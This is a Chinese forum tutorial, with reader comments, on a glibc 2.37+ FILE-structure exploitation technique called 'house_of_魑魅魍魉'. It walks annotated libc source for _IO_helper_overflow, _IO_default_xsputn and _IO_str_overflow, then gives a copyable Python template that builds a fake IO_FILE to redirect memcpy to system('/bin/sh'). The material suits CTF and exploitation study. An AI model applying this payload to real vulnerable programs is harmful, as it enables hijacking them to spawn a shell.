首页
社区
课程
招聘
[原创]无路远征——GLIBC2.37后时代的IO攻击之道(四)house_of_魑魅魍魉
2023-2-9 15:18 20972

[原创]无路远征——GLIBC2.37后时代的IO攻击之道(四)house_of_魑魅魍魉

2023-2-9 15:18
20972

水了2篇,开始干点正事吧。

一、前情提要

在上一篇中,我提出怎么控制size_t _IO_default_xsputn (FILE *f, const void *data, size_t n)这个函数的三个参数呢?

 

一般来说这是很难做到的,因为如果能够3个参数都能控制,能做的事情就太多了,getshell简直是手到擒来。所以,house_of_魑魅魍魉与其说是一种攻击链,不如说是一种攻击思路,当IO中存在以下条件都可以继续挖掘,本人利用_IO_helper_jumps中的内容也只是攻击手段之一,不是绝对手段。

  1. 有结构体之间的强制转化,或者结构体指针的使用。
  2. 存在memcpy、memmove等内存覆写函数。
  3. 执行完第2步后,还存在可能控制的执行流。

二、攻击概况

本篇文章介绍的攻击主要是利用_IO_helper_overflow在执行_IO_sputn (target, s->_wide_data->_IO_write_base, used)时,3个参数均能控制,然后利用memcpy、memmove等函数实现house of 秦关汉月,其中一条链如下。

1
2
3
4
5
6
7
_IO_helper_overflow
//  FILE *target = ((struct helper_file*) s)->_put_stream; int used = s->_wide_data->_IO_write_ptr - s->_wide_data->_IO_write_base;
    =>  _IO_sputn (target, s->_wide_data->_IO_write_base, used);
    //  _IO_default_xsputn (FILE *f, const void *data, size_t n)
    //  s->_wide_data->_IO_write_base == s
        =>  __mempcpy (f->_IO_write_ptr, s, count); 
        // f->_IO_write_ptr == overflow 的地址,s 存储 onegadget

三、有关结构体

1._IO_helper_jumps虚表

一般来说一类跳表只有一个,但_IO_helper_jumps比较特殊,通过下面可以看出,跳表会根据COMPILE_WPRINTF值不同而生成不同的,但libc在编译时会调用两次,分别是正常字符和宽字符,所以我们可以在内存中看到两个_IO_helper_jumps每种各一个。其中,COMPILE_WPRINTF==0先生成,COMPILE_WPRINTF==1后生成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#ifdef COMPILE_WPRINTF
static const struct _IO_jump_t _IO_helper_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT (finish, _IO_wdefault_finish),
  JUMP_INIT (overflow, _IO_helper_overflow),
  JUMP_INIT (underflow, _IO_default_underflow),
  JUMP_INIT (uflow, _IO_default_uflow),
  JUMP_INIT (pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT (xsputn, _IO_wdefault_xsputn),
  JUMP_INIT (xsgetn, _IO_wdefault_xsgetn),
  JUMP_INIT (seekoff, _IO_default_seekoff),
  JUMP_INIT (seekpos, _IO_default_seekpos),
  JUMP_INIT (setbuf, _IO_default_setbuf),
  JUMP_INIT (sync, _IO_default_sync),
  JUMP_INIT (doallocate, _IO_wdefault_doallocate),
  JUMP_INIT (read, _IO_default_read),
  JUMP_INIT (write, _IO_default_write),
  JUMP_INIT (seek, _IO_default_seek),
  JUMP_INIT (close, _IO_default_close),
  JUMP_INIT (stat, _IO_default_stat)
};
#else
static const struct _IO_jump_t _IO_helper_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT (finish, _IO_default_finish),
  JUMP_INIT (overflow, _IO_helper_overflow),
  JUMP_INIT (underflow, _IO_default_underflow),
  JUMP_INIT (uflow, _IO_default_uflow),
  JUMP_INIT (pbackfail, _IO_default_pbackfail),
  JUMP_INIT (xsputn, _IO_default_xsputn),
  JUMP_INIT (xsgetn, _IO_default_xsgetn),
  JUMP_INIT (seekoff, _IO_default_seekoff),
  JUMP_INIT (seekpos, _IO_default_seekpos),
  JUMP_INIT (setbuf, _IO_default_setbuf),
  JUMP_INIT (sync, _IO_default_sync),
  JUMP_INIT (doallocate, _IO_default_doallocate),
  JUMP_INIT (read, _IO_default_read),
  JUMP_INIT (write, _IO_default_write),
  JUMP_INIT (seek, _IO_default_seek),
  JUMP_INIT (close, _IO_default_close),
  JUMP_INIT (stat, _IO_default_stat)
};
#endif

2.helper_file结构体

不同的COMPILE_WPRINTF所对应的helper_file也有所不同,区别在于是否需要伪造struct _IO_wide_data _wide_data;

1
2
3
4
5
6
7
8
9
10
11
struct helper_file
  {
    struct _IO_FILE_plus _f;
#ifdef COMPILE_WPRINTF
    struct _IO_wide_data _wide_data;
#endif
    FILE *_put_stream;
#ifdef _IO_MTSAFE_IO
    _IO_lock_t lock;
#endif
  };

三、有关函数

1._IO_helper_overflow

这个函数在内存中也有2份。通过测试发现,如果使用COMPILE_WPRINTF==0的情况,在攻击过程中s->_IO_write_base会变成largebin->bk_size指针,从而在largebin attack时被强制修改从而无法控制。为了方便,我们使用COMPILE_WPRINTF==1所生成的_IO_helper_overflow。(第2个生成的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static int _IO_helper_overflow (FILE *s, int c)
{
  FILE *target = ((struct helper_file*) s)->_put_stream;
#ifdef COMPILE_WPRINTF
  int used = s->_wide_data->_IO_write_ptr - s->_wide_data->_IO_write_base;
  if (used)
    {
      // 利用这个链,显然这三个参数我们都可控。
      size_t written = _IO_sputn (target, s->_wide_data->_IO_write_base, used);
      if (written == 0 || written == WEOF)
    return WEOF;
      __wmemmove (s->_wide_data->_IO_write_base,
          s->_wide_data->_IO_write_base + written,
          used - written);
      s->_wide_data->_IO_write_ptr -= written;
    }
#else
    // 如果使用这条链,_IO_write_ptr 将处于 largebin 的 bk_size 指针处
  int used = s->_IO_write_ptr - s->_IO_write_base;
  if (used)
    {
      size_t written = _IO_sputn (target, s->_IO_write_base, used);
      if (written == 0 || written == EOF)
    return EOF;
      memmove (s->_IO_write_base, s->_IO_write_base + written,
           used - written);
      s->_IO_write_ptr -= written;
    }
#endif
  return PUTC (c, s);
}

通过上面函数可以清楚看出,在执行size_t written = _IO_sputn (target, s->_wide_data->_IO_write_base, used);

  1. FILE *target = ((struct helper_file*) s)->_put_stream;可控
  2. s->_wide_data->_IO_write_base可控
  3. int used = s->_wide_data->_IO_write_ptr - s->_wide_data->_IO_write_base;可控

就达成了3个参数可控的要求,_IO_sputn正是跳表中的_IO_default_xsputn函数。

2._IO_default_xsputn

执行此函数内要绕过的内容较多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
size_t
_IO_default_xsputn (FILE *f, const void *data, size_t n)
{
  const char *s = (char *) data;
  size_t more = n;
  if (more <= 0)
    return 0;
  for (;;)
    {
      /* Space available. */
      if (f->_IO_write_ptr < f->_IO_write_end)
    {
      size_t count = f->_IO_write_end - f->_IO_write_ptr;
          // 要 more > count,能再次返回执行 __mempcpy
      if (count > more)
        count = more;
          // 要 count > 20
      if (count > 20)
        {
          // 利用此处实现 house of 借刀杀人,
          // 修改 memcpy 的内容为setcontext
          // 再次返回的时候就能够实现 house of 一骑当千
          f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
          s += count;
        }
      else if (count)
        {
          char *p = f->_IO_write_ptr;
          ssize_t i;
          for (i = count; --i >= 0; )
        *p++ = *s++;
          f->_IO_write_ptr = p;
        }
          // 要 more > count,能再次返回执行 __mempcpy
      more -= count;
    }
      // 绕过下面这一行,再次执行for循环的内容
      if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF) 
    break;
      more--;
    }
  return n - more;
}
libc_hidden_def (_IO_default_xsputn)

需要绕过内容总结如下

  1. 需要 more > count,能再次返回执行 __mempcpy
  2. 需要 count > 20
  3. 第一次执行__mempcpy (f->_IO_write_ptr, s, count);时,
    1. _IO_write_ptr__mempcpy表项,
    2. s 为要写入的内容。
  4. 再次执行__mempcpy (f->_IO_write_ptr, s, count);
    1. 需要绕过if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF),具体绕过方式下一节介绍。
    2. f->_IO_write_ptr 为 rdi,s 为 rsi ,count 为 rdx

3._IO_str_overflow

执行此处需要绕过内容也比较多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int _IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
    // 需要进入来控制 fp->_IO_write_ptr , _flags==0x400
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
    // 不能进入,要让 _IO_blen (fp)  ((fp)->_IO_buf_end - (fp)->_IO_buf_base) 足够大。
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf = malloc (new_size);
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          free (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
 
      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
 
      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }
 
  if (!flush_only)
      // 此处 fp->_IO_write_ptr 自加1,所以之前要少1.
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
libc_hidden_def (_IO_str_overflow)

需要绕过内容总结如下

  1. _flags == 0x400
  2. fp->_IO_read_ptr 为再次执行 __mempcpy (f->_IO_write_ptr, s, count);rdi-1
  3. (fp)->_IO_buf_end - (fp)->_IO_buf_base要足够大,一般设置(fp)->_IO_buf_end == (1<<64)-1 即可。

四、攻击模板

又到了喜闻乐见的抄板子时刻,此套攻击模板相对复杂很多,而且写入内容也比较长。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# largebin_attack 攻击 house_魑魅魍魉
# 为确保正确执行,需要利用 COMPILE_WPRINTF==1 的模式
 
fake_io_addr = heap_addr + 0x1390
put_stream_offset = 0x30  # put_stream 距离 fake_io 的偏移
put_stream_addr = fake_io_addr + put_stream_offset
write_target_addr = memcpy_addr
target_value_offset = 0x200  # 需要执行的函数存储的地址距离 fake_io 的偏移
target_value_addr = fake_io_addr  + target_value_offset
 
 
IO_wide_data_addr = fake_io_addr + 0xe0 # len(IO_IFLE) 利用原有的宽字符
# 再一次执行到 memcpy时rdi的地址
rdi_offset = 0xf  # 因为 _IO_write_ptr 会加1,此处确保内存对齐
rdi_addr = target_value_addr + rdi_offset
# more_len > count_len > 0x20 可以再次执行 memcpy
more_len = 0x80*8   # 为什么 IO_help_jump_0_ 里面还要在右边移位2位??,参见10楼sky_123师傅解答。
count_len= 0x28 # 要大于0x20
_flags = 0x400 #_flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr;
 
 
fake_io_file = b""
fake_io_file = fake_io_file.ljust(0x20,b'\x00')
fake_io_file += p64(_flags) # 此处是 put_stream 起始地址; _flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr;
fake_io_file += p64(rdi_addr)
fake_io_file += p64(0)*2
fake_io_file += p64(write_target_addr - 0x20)
fake_io_file += p64(write_target_addr)
fake_io_file += p64(write_target_addr + count_len)
fake_io_file += p64(0)
# 用于绕过  if (pos >= (size_t) (_IO_blen (fp) + flush_only)) 不执行malloc
fake_io_file += p64((1<<64)-1)
fake_io_file += p64(0)*2
fake_io_file += p64(heap_addr+0x2000) #可写
fake_io_file += p64(0)*2
fake_io_file += p64(IO_wide_data_addr)
fake_io_file = fake_io_file.ljust(0xc8,b'\x00')
fake_io_file += p64(IO_help_jump_0_addr)
fake_io_file += p64(0)
fake_io_file += p64(heap_addr+0x2000) #可写
fake_io_file += p64(0)
fake_io_file += p64(target_value_addr)
fake_io_file += p64(target_value_addr + more_len)
fake_io_file += p64(IO_str_jumps_addr)
fake_io_file = fake_io_file.ljust(0x1b8,b'\x00')
fake_io_file += p64(put_stream_addr)
fake_io_file = fake_io_file.ljust(target_value_offset - 0x10,b"\x00"# largbin_attak 时需要 - 0x10
 
fake_io_file += p64(system_addr) + p64(0)   # 此段长度为 0x10 与 rdi_offset 对应
 
payload = fake_io_file + b'/bin/sh\x00'

[培训]《安卓高级研修班(网课)》月薪三万计划

最后于 2023-3-24 08:53 被我超啊编辑 ,原因: 错字
收藏
点赞6
打赏
分享
最新回复 (10)
雪    币: 11973
活跃值: (15270)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2023-2-9 15:39
2
1
感谢分享,house_of_鬼鬼鬼鬼 
雪    币: 3663
活跃值: (5190)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
huangjw 2023-2-9 16:30
3
0
目前还不熟悉内核,先赞一个。。
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
Aapcer 2023-2-9 23:17
4
0
大佬您好,请问一下if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF)如何绕过啊
f都是同一个,他岂不是会嵌套调用嘛
雪    币: 2002
活跃值: (2320)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
我超啊 1 2023-2-10 09:54
5
1
Aapcer 大佬您好,请问一下if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF)如何绕过啊 f都是同一个,他岂不是会嵌套调用嘛
对,是嵌套调用,但不影响绕过
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
Aapcer 2023-2-10 13:37
6
1
我超啊 对,是嵌套调用,但不影响绕过
他还是会进去到_IO_OVERFLOW里面去,然后用f->_put_stream的来调用_IO_sputn ,而如果此时f->_putstream如果指向f的话,他的_IO_write_end和_IO_write_ptr就会变成一模一样的了...,因为在memcpy第一次就把_IO_write_ptr改到一样了,所以我的想法是再让f->_put_steam改成另一个伪造IO_FILE结构体,并且这个还更好,在memcpy的时候能控制到rdi寄存器,不知道楼主是不是这个思路XD
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
Aapcer 2023-2-10 13:40
7
0
感谢楼主XD
最后于 2023-2-10 13:43 被Aapcer编辑 ,原因:
雪    币: 2002
活跃值: (2320)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
我超啊 1 2023-2-10 20:12
8
0
Aapcer 他还是会进去到_IO_OVERFLOW里面去,然后用f->_put_stream的来调用_IO_sputn ,而如果此时f->_putstream如果指向f的话,他的_IO_write_e ...
睿智如你
雪    币: 1036
活跃值: (521)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
sky_123 1 2023-3-11 12:51
9
2

为什么 IO_help_jump_0_ 里面还要在右边移位2位??

雪    币: 1036
活跃值: (521)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
sky_123 1 2023-3-11 13:28
10
3
sky_123 为什么 IO_help_jump_0_ 里面还要在右边移位2位??
因为是wchar_t * 类型指针作差要除以4
雪    币: 2002
活跃值: (2320)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
我超啊 1 2023-3-12 14:19
11
0
sky_123 因为是wchar_t * 类型指针作差要除以4
师傅真认真,这是我以前的板子,有些东西比较混乱,没想到师傅都看了一遍
游客
登录 | 注册 方可回帖
返回